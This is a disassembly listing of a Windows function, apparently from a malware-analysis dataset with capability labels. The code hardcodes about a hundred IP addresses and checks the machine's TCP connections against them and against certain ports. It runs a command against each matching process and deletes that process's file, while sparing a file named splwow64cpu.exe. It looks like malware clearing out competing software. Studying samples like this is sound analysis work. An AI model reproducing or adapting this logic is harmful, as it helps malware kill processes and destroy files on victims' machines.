Function at 0x41e5e0
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
mov eax, dword [0x75ce68]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x61c], str.94.23.23.52
mov dword [ebp - 0x618], str.91.121.140.167
mov dword [ebp - 0x614], str.149.202.83.171
mov dword [ebp - 0x610], str.139.99.124.170
mov dword [ebp - 0x60c], str.37.187.95.110
mov dword [ebp - 0x608], str.94.23.247.226
mov dword [ebp - 0x604], str.139.99.125.38
mov dword [ebp - 0x600], str.18.180.72.219
mov dword [ebp - 0x5fc], str.3.0.193.200
mov dword [ebp - 0x5f8], str.139.180.131.153
mov dword [ebp - 0x5f4], str.45.32.24.80
mov dword [ebp - 0x5f0], str.116.203.73.240
mov dword [ebp - 0x5ec], str.44.202.105.45
mov dword [ebp - 0x5e8], str.95.179.220.100
mov dword [ebp - 0x5e4], str.139.99.100.250
mov dword [ebp - 0x5e0], str.149.28.17.136
mov dword [ebp - 0x5dc], str.45.76.206.51
mov dword [ebp - 0x5d8], str.142.44.240.132
mov dword [ebp - 0x5d4], 0x712924
mov dword [ebp - 0x5d0], str.139.99.123.196
mov dword [ebp - 0x5cc], str.94.130.12.27
mov dword [ebp - 0x5c8], str.178.63.100.197
mov dword [ebp - 0x5c4], str.107.178.104.10
mov dword [ebp - 0x5c0], str.92.110.160.114
mov dword [ebp - 0x5bc], str.94.130.12.30
mov dword [ebp - 0x5b8], str.37.59.52.83
mov dword [ebp - 0x5b4], str.104.140.201.102
mov dword [ebp - 0x5b0], str.95.216.46.125
mov dword [ebp - 0x5ac], str.3.253.40.188
mov dword [ebp - 0x5a8], str.3.253.40.189
mov dword [ebp - 0x5a4], str.45.125.194.18
mov dword [ebp - 0x5a0], str.45.125.194.34
mov dword [ebp - 0x59c], str.78.47.158.234
mov dword [ebp - 0x598], str.47.101.30.124
mov dword [ebp - 0x594], str.203.107.32.162
mov dword [ebp - 0x590], str.47.102.39.92
mov dword [ebp - 0x58c], str.47.102.251.102
mov dword [ebp - 0x588], str.47.110.199.70
mov dword [ebp - 0x584], str.139.224.168.24
mov dword [ebp - 0x580], str.47.110.190.245
mov dword [ebp - 0x57c], str.139.224.219.119
mov dword [ebp - 0x578], str.139.224.20.173
mov dword [ebp - 0x574], str.203.107.40.49
mov dword [ebp - 0x570], str.116.211.169.162
mov dword [ebp - 0x56c], str.218.11.2.44
mov dword [ebp - 0x568], str.107.191.99.221
mov dword [ebp - 0x564], str.107.191.99.95
mov dword [ebp - 0x560], str.3.112.214.88
mov dword [ebp - 0x55c], str.47.241.2.137
mov dword [ebp - 0x558], str.206.189.33.65
mov dword [ebp - 0x554], str.161.117.192.8
mov dword [ebp - 0x550], str.47.244.176.59
mov dword [ebp - 0x54c], str.210.1.226.51
mov dword [ebp - 0x548], str.116.203.61.78
mov dword [ebp - 0x544], str.35.163.175.186
mov dword [ebp - 0x540], str.178.128.107.204
mov dword [ebp - 0x53c], str.45.77.31.97
mov dword [ebp - 0x538], str.172.104.91.217
mov dword [ebp - 0x534], str.103.101.30.10
mov dword [ebp - 0x530], str.139.99.72.56
mov dword [ebp - 0x52c], str.176.9.4.26
mov dword [ebp - 0x528], str.149.202.214.40
mov dword [ebp - 0x524], str.37.59.43.136
mov dword [ebp - 0x520], str.37.59.44.193
mov dword [ebp - 0x51c], str.37.59.43.131
mov dword [ebp - 0x518], str.88.99.242.92
mov dword [ebp - 0x514], str.88.99.193.240
mov dword [ebp - 0x510], str.94.130.165.85
mov dword [ebp - 0x50c], str.94.130.165.87
mov dword [ebp - 0x508], str.91.121.2.76
mov dword [ebp - 0x504], str.37.59.54.205
mov dword [ebp - 0x500], str.37.59.55.60
mov dword [ebp - 0x4fc], str.37.59.44.93
mov dword [ebp - 0x4f8], str.37.187.154.79
mov dword [ebp - 0x4f4], str.37.59.45.174
mov dword [ebp - 0x4f0], str.176.9.53.68
mov dword [ebp - 0x4ec], str.78.46.91.134
mov dword [ebp - 0x4e8], str.94.23.41.130
mov dword [ebp - 0x4e4], str.176.9.2.144
mov dword [ebp - 0x4e0], str.178.63.48.196
mov dword [ebp - 0x4dc], str.78.46.89.102
mov dword [ebp - 0x4d8], str.37.59.56.102
mov dword [ebp - 0x4d4], str.94.23.212.204
mov dword [ebp - 0x4d0], str.188.165.254.85
mov dword [ebp - 0x4cc], str.46.105.103.169
mov dword [ebp - 0x4c8], str.76.9.50.126
mov dword [ebp - 0x4c4], str.37.59.51.212
mov dword [ebp - 0x4c0], str.91.121.87.10
mov dword [ebp - 0x4bc], str.94.130.206.79
mov dword [ebp - 0x4b8], str.188.165.199.78
mov dword [ebp - 0x4b4], str.176.31.117.82
mov dword [ebp - 0x4b0], str.188.165.214.95
mov dword [ebp - 0x4ac], str.94.23.206.130
mov dword [ebp - 0x4a8], str.176.9.63.166
mov dword [ebp - 0x4a4], str.94.130.164.60
mov dword [ebp - 0x4a0], str.78.46.91.171
mov dword [ebp - 0x49c], str.188.165.214.76
mov dword [ebp - 0x498], str.37.59.44.68
mov dword [ebp - 0x494], str.94.23.8.105
mov dword [ebp - 0x490], str.37.59.49.7
mov dword [ebp - 0x48c], str.183.201.229.131
mov dword [ebp - 0x488], str.117.139.17.68
mov dword [ebp - 0x484], str.223.167.166.51
mov dword [ebp - 0x480], str.111.7.68.222
mov dword [ebp - 0x47c], 0
mov dword [ebp - 0x664], 1
mov dword [ebp - 0x668], 0
push str.iphlpapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0
je 0x41efcd
push str.InternalGetTcpTable2
mov eax, dword [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x640], eax
cmp dword [ebp - 0x640], 0
jne 0x41ea7e
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x628], 0
xor eax, eax
jmp 0x41efcf
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
lea edx, [ebp - 0x620]
push edx
call dword [ebp - 0x640]
test eax, eax
je 0x41ead5
cmp dword [ebp - 0x620], 0
je 0x41eab7
mov eax, dword [ebp - 0x620]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x628], 0
xor eax, eax
jmp 0x41efcf
mov dword [ebp - 0x624], 0
jmp 0x41eaf0
mov edx, dword [ebp - 0x624]
add edx, 1
mov dword [ebp - 0x624], edx
mov eax, dword [ebp - 0x620]
mov ecx, dword [ebp - 0x624]
cmp ecx, dword [eax]
jae 0x41efa0
imul edx, dword [ebp - 0x624], 0x1c
mov eax, dword [ebp - 0x620]
mov ecx, dword [eax + edx + 4]
mov dword [ebp - 0x64c], ecx
cmp dword [ebp - 0x64c], 5
je 0x41eb29
jmp 0x41ef9b
mov dword [ebp - 0x644], 0
mov byte [ebp - 0x16c], 0
push 0x103
push 0
lea edx, [ebp - 0x16b]
push edx
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x270], 0
push 0x103
push 0
lea eax, [ebp - 0x26f]
push eax
call fcn.0061cde0
add esp, 0xc
mov byte [ebp - 0x68], 0
push 0x63
push 0
lea ecx, [ebp - 0x67]
push ecx
call fcn.0061cde0
add esp, 0xc
imul edx, dword [ebp - 0x624], 0x1c
mov eax, dword [ebp - 0x620]
mov ecx, dword [eax + edx + 0x14]
mov dword [ebp - 0x644], ecx
mov edx, dword [ebp - 0x644]
and edx, 0xffff
push edx
call dword [sym.imp.WS2_32.dll_ntohs]
movzx eax, ax
mov dword [ebp - 0x630], eax
imul ecx, dword [ebp - 0x624], 0x1c
mov edx, dword [ebp - 0x620]
mov eax, dword [edx + ecx + 0x10]
mov dword [ebp - 0x650], eax
push 0x64
push 0
lea ecx, [ebp - 0x68]
push ecx
call fcn.0061cde0
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x16c]
push edx
call fcn.0061cde0
add esp, 0xc
mov eax, dword [ebp - 0x650]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x713bf4
push 0x64
lea ecx, [ebp - 0x68]
push ecx
call fcn.00403ed0
add esp, 0x10
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x634], 0
jmp 0x41ec38
mov edx, dword [ebp - 0x634]
add edx, 1
mov dword [ebp - 0x634], edx
mov eax, dword [ebp - 0x634]
cmp dword [ebp + eax*4 - 0x61c], 0
je 0x41edd7
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x634]
mov edx, dword [ebp + ecx*4 - 0x61c]
push edx
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x41edd2
imul ecx, dword [ebp - 0x634], 0x1c
mov edx, dword [ebp - 0x620]
mov eax, dword [edx + ecx + 0x18]
cmp eax, dword [ebp - 0x648]
je 0x41edd0
lea ecx, [ebp - 0x16c]
push ecx
imul edx, dword [ebp - 0x634], 0x1c
mov eax, dword [ebp - 0x620]
mov ecx, dword [eax + edx + 0x18]
push ecx
call fcn.0041e580
add esp, 8
test eax, eax
je 0x41edcc
push str.C:Windows_splwow64cpu.exe
lea edx, [ebp - 0x16c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x41edcc
mov byte [ebp - 0x374], 0
push 0x103
push 0
lea eax, [ebp - 0x373]
push eax
call fcn.0061cde0
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x374]
push ecx
call fcn.0061cde0
add esp, 0xc
lea edx, [ebp - 0x374]
push edx
lea eax, [ebp - 0x16c]
push eax
call fcn.0042c9e0
add esp, 8
lea ecx, [ebp - 0x374]
mov dword [ebp - 0x638], ecx
mov edx, dword [ebp - 0x638]
add edx, 1
mov dword [ebp - 0x654], edx
mov eax, dword [ebp - 0x638]
mov cl, byte [eax]
mov byte [ebp - 0x629], cl
add dword [ebp - 0x638], 1
cmp byte [ebp - 0x629], 0
jne 0x41ed38
mov edx, dword [ebp - 0x638]
sub edx, dword [ebp - 0x654]
mov dword [ebp - 0x658], edx
cmp dword [ebp - 0x658], 4
jb 0x41edca
push 0x104
push 0
lea eax, [ebp - 0x270]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x374]
push ecx
push 0x713efc
lea edx, [ebp - 0x270]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x16c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x41edd7
jmp 0x41edd7
jmp 0x41edd7
jmp 0x41ec29
cmp dword [ebp - 0x630], 0xd05
je 0x41ee2f
cmp dword [ebp - 0x630], 0x15b3
je 0x41ee2f
cmp dword [ebp - 0x630], 0x1e61
je 0x41ee2f
cmp dword [ebp - 0x630], 0xb284
je 0x41ee2f
cmp dword [ebp - 0x630], 0xb1f8
je 0x41ee2f
cmp dword [ebp - 0x630], 0x34db
je 0x41ee2f
cmp dword [ebp - 0x630], 0x8ae
jne 0x41ef9b
push 0x104
push 0
lea edx, [ebp - 0x16c]
push edx
call fcn.0061cde0
add esp, 0xc
imul eax, dword [ebp - 0x624], 0x1c
mov ecx, dword [ebp - 0x620]
mov edx, dword [ecx + eax + 0x18]
cmp edx, dword [ebp - 0x648]
je 0x41ef9b
lea eax, [ebp - 0x16c]
push eax
imul ecx, dword [ebp - 0x624], 0x1c
mov edx, dword [ebp - 0x620]
mov eax, dword [edx + ecx + 0x18]
push eax
call fcn.0041e580
add esp, 8
test eax, eax
je 0x41ef9b
push str.C:Windows_splwow64cpu.exe
lea ecx, [ebp - 0x16c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x41ef9b
mov byte [ebp - 0x478], 0
push 0x103
push 0
lea edx, [ebp - 0x477]
push edx
call fcn.0061cde0
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x478]
push eax
call fcn.0061cde0
add esp, 0xc
lea ecx, [ebp - 0x478]
push ecx
lea edx, [ebp - 0x16c]
push edx
call fcn.0042c9e0
add esp, 8
lea eax, [ebp - 0x478]
mov dword [ebp - 0x63c], eax
mov ecx, dword [ebp - 0x63c]
add ecx, 1
mov dword [ebp - 0x65c], ecx
mov edx, dword [ebp - 0x63c]
mov al, byte [edx]
mov byte [ebp - 0x62a], al
add dword [ebp - 0x63c], 1
cmp byte [ebp - 0x62a], 0
jne 0x41ef09
mov ecx, dword [ebp - 0x63c]
sub ecx, dword [ebp - 0x65c]
mov dword [ebp - 0x660], ecx
cmp dword [ebp - 0x660], 4
jb 0x41ef9b
push 0x104
push 0
lea edx, [ebp - 0x270]
push edx
call fcn.0061cde0
add esp, 0xc
lea eax, [ebp - 0x478]
push eax
push 0x713fc4
lea ecx, [ebp - 0x270]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0
lea edx, [ebp - 0x270]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x41eae1
mov ecx, dword [ebp - 0x620]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0x628], 0
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005faac9
mov esp, ebp
pop ebp
ret